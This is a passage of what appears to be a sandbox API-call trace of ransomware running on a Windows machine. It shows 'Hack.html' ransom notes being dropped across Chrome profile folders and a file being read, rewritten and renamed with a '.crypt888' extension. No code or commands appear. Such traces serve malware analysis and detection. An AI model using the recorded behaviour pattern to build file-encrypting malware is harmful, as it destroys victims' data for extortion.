0x1 [0076.071] GetFileType (hFile=0x174) returned 0x1 [0076.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.073] GetFileType (hFile=0x174) returned 0x1 [0076.074] GetFileType (hFile=0x174) returned 0x1 [0076.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.076] GetFileType (hFile=0x174) returned 0x1 [0076.077] GetFileType (hFile=0x174) returned 0x1 [0076.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.079] GetFileType (hFile=0x174) returned 0x1 [0076.079] GetFileType (hFile=0x174) returned 0x1 [0076.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.081] GetFileType (hFile=0x174) returned 0x1 [0076.081] GetFileType (hFile=0x174) returned 0x1 [0076.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.084] GetFileType (hFile=0x174) returned 0x1 [0076.084] GetFileType (hFile=0x174) returned 0x1 [0076.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.086] GetFileType (hFile=0x174) returned 0x1 [0076.086] GetFileType (hFile=0x174) returned 0x1 [0076.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.087] GetFileType (hFile=0x174) returned 0x1 [0076.087] GetFileType (hFile=0x174) returned 0x1 [0076.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.091] GetFileType (hFile=0x174) returned 0x1 [0076.091] GetFileType (hFile=0x174) returned 0x1 [0076.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.093] GetFileType (hFile=0x174) returned 0x1 [0076.093] GetFileType (hFile=0x174) returned 0x1 [0076.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.095] GetFileType (hFile=0x174) returned 0x1 [0076.095] GetFileType (hFile=0x174) returned 0x1 [0076.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.097] GetFileType (hFile=0x174) returned 0x1 [0076.097] GetFileType (hFile=0x174) returned 0x1 [0076.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.100] GetFileType (hFile=0x174) returned 0x1 [0076.100] GetFileType (hFile=0x174) returned 0x1 [0076.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.102] GetFileType (hFile=0x174) returned 0x1 [0076.102] GetFileType (hFile=0x174) returned 0x1 [0076.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.117] GetFileType (hFile=0x174) returned 0x1 [0076.117] GetFileType (hFile=0x174) returned 0x1 [0076.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.118] GetFileType (hFile=0x174) returned 0x1 [0076.118] GetFileType (hFile=0x174) returned 0x1 [0076.134] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.135] GetFileType (hFile=0x174) returned 0x1 [0076.135] GetFileType (hFile=0x174) returned 0x1 [0076.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.149] GetFileType (hFile=0x174) returned 0x1 [0076.149] GetFileType (hFile=0x174) returned 0x1 [0076.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.151] GetFileType (hFile=0x174) returned 0x1 [0076.151] GetFileType (hFile=0x174) returned 0x1 [0076.153] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0076.153] GetFileType (hFile=0x174) returned 0x1 [0076.153] GetFileType (hFile=0x174) returned 0x1 [0076.153] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec40 | out: lpFileSizeHigh=0x39ec40*=0x0) returned 0x28df6 [0076.153] ReadFile (in: hFile=0x174, lpBuffer=0x38a22f8, nNumberOfBytesToRead=0x28df6, lpNumberOfBytesRead=0x39ebec, lpOverlapped=0x0 | out: lpBuffer=0x38a22f8*, lpNumberOfBytesRead=0x39ebec*=0x28df6, lpOverlapped=0x0) returned 1 [0076.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0076.528] GetFileType (hFile=0x174) returned 0x1 [0076.528] GetFileType (hFile=0x174) returned 0x1 [0076.528] WriteFile (in: hFile=0x174, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0x28e00, lpNumberOfBytesWritten=0x39ebdc, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ebdc*=0x28e00, lpOverlapped=0x0) returned 1 [0076.532] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.crypt888")) returned 1 [0076.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.540] GetFileType (hFile=0x174) returned 0x1 [0076.540] GetFileType (hFile=0x174) returned 0x1 [0076.541] WriteFile (in: hFile=0x174, lpBuffer=0x26b337c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebc4, lpOverlapped=0x0 | out: lpBuffer=0x26b337c*, lpNumberOfBytesWritten=0x39ebc4*=0xba, lpOverlapped=0x0) returned 1 [0076.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.542] GetFileType (hFile=0x174) returned 0x1 [0076.542] GetFileType (hFile=0x174) returned 0x1 [0076.543] WriteFile (in: hFile=0x174, lpBuffer=0x26b5c1c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26b5c1c*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0076.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.544] GetFileType (hFile=0x174) returned 0x1 [0076.544] GetFileType (hFile=0x174) returned 0x1 [0076.544] WriteFile (in: hFile=0x174, lpBuffer=0x26b8474*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26b8474*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.550] GetFileType (hFile=0x174) returned 0x1 [0076.550] GetFileType (hFile=0x174) returned 0x1 [0076.550] WriteFile (in: hFile=0x174, lpBuffer=0x26bc720*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26bc720*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.553] GetFileType (hFile=0x174) returned 0x1 [0076.553] GetFileType (hFile=0x174) returned 0x1 [0076.553] WriteFile (in: hFile=0x174, lpBuffer=0x26c0afc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26c0afc*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\origintrials\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.555] GetFileType (hFile=0x174) returned 0x1 [0076.555] GetFileType (hFile=0x174) returned 0x1 [0076.556] WriteFile (in: hFile=0x174, lpBuffer=0x26c4df8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26c4df8*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.558] GetFileType (hFile=0x174) returned 0x1 [0076.558] GetFileType (hFile=0x174) returned 0x1 [0076.558] WriteFile (in: hFile=0x174, lpBuffer=0x26c90a4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26c90a4*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\pnacl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.560] GetFileType (hFile=0x174) returned 0x1 [0076.560] GetFileType (hFile=0x174) returned 0x1 [0076.561] WriteFile (in: hFile=0x174, lpBuffer=0x26cd200*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26cd200*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.565] GetFileType (hFile=0x174) returned 0x1 [0076.566] GetFileType (hFile=0x174) returned 0x1 [0076.566] WriteFile (in: hFile=0x174, lpBuffer=0x26d15fc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26d15fc*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\swreporter\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.568] GetFileType (hFile=0x174) returned 0x1 [0076.568] GetFileType (hFile=0x174) returned 0x1 [0076.569] WriteFile (in: hFile=0x174, lpBuffer=0x26d5888*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26d5888*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.571] GetFileType (hFile=0x174) returned 0x1 [0076.571] GetFileType (hFile=0x174) returned 0x1 [0076.571] WriteFile (in: hFile=0x174, lpBuffer=0x26d9b34*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x26d9b34*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.573] GetFileType (hFile=0x174) returned 0x1 [0076.573] GetFileType (hFile=0x174) returned 0x1 [0076.573] WriteFile (in: hFile=0x174, lpBuffer=0x26dc36c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x26dc36c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0076.574] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.575] GetFileType (hFile=0x174) returned 0x1 [0076.575] GetFileType (hFile=0x174) returned 0x1 [0076.575] WriteFile (in: hFile=0x174, lpBuffer=0x26deb7c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26deb7c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0076.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\crashreports\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.577] GetFileType (hFile=0x174) returned 0x1 [0076.577] GetFileType (hFile=0x174) returned 0x1 [0076.577] WriteFile (in: hFile=0x174, lpBuffer=0x26e2aa8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26e2aa8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0076.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.579] GetFileType (hFile=0x174) returned 0x1 [0076.579] GetFileType (hFile=0x174) returned 0x1 [0076.579] WriteFile (in: hFile=0x174, lpBuffer=0x26e52a0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x26e52a0*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0076.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\Hack.html", lpFilePart=0x0) returned 0x3d [0076.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0076.582] CreateFileW 